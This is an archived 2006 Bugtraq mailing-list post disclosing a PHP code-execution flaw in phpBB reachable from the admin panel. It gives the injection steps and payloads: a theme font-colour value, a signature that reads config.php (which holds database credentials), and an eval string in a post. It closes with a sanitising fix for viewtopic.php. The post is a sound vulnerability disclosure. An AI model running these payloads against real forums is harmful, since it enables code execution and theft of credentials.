bugtraq - phpBB Admin command execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 14 Apr 2006 15:03:41 -0000
From: noch22@...il.com
To: bugtraq@...urityfocus.com
Subject: phpBB Admin command execution


On a phpBB board, a user having access to the admin panel is able to execute PHP code:

This example will execute $user_sig as PHP code:

Go to Administration Panel > Styles Admin > Management > subSilver > Edit
Set "Font Colour 3" to "'./*"
Profile
Set Signature to "$fd=fopen($phpbb_root_path.'config.php','rb');while(!feof($fd)){echo htmlspecialchars(fgets($fd));}"
Post a new message with content: "*/var_dump(eval($user_sig)).flush().die().'" and attach your signature
Go to your message adding ?highlight=1 to URL
Your signature is executed as PHP code

Possible solution:

Replace $theme['fontcolor3']
By preg_replace('#[^a-f0-9]+#i','',$theme['fontcolor3']);
In viewtopic.php